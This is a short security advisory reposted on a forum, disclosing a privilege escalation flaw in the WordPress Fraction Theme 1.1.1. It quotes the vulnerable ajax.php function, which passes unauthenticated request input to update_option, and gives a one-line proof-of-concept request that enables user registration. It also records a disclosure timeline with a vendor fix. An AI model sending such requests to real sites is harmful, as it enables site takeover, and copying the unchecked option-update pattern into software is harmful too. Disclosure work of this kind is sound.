Search the Community

------------------------------------------------------------------------------ WordPress Fraction Theme 1.1.1 Previlage Escalation ------------------------------------------------------------------------------ [-] Theme Link: http://themeforest.net/item/fraction-multipurpose-news-magazine-theme/8655281 [-] Affected Version: Version: 1.1.1 [-] Vulnerability Description: This vulnerability allows an attacker to escalate privileges on the site and have an admin account which may lead to a full site takeover the vulnerability is in /fraction-theme/functions/ajax.php there is this function called "ot_save_options": function ot_save_options() { $fields = $_REQUEST; foreach($fields as $key => $field) { if($key!="action") { update_option($key,$field); } } die(); } passing user input into the update_option function allows an attacker to update options like users_can_register,default_role.... etc this can be accessed via ajax by users and non-users: add_action('wp_ajax_nopriv_ot_save_options', 'ot_save_options'); add_action('wp_ajax_ot_save_options', 'ot_save_options'); [-] Proof of Concept: this will enable user registration http://localhost/wordpress/wp-admin/admin-ajax.php?action=ot_save_options&users_can_register=1 [-] Timeline: 09 March - Vendor Notified 09 March - Vendor Replied 10 March - Fix Released 10 March - Public Disclosure [-] References: http://research.evex.pw/?vuln=8 @evex_1337 Source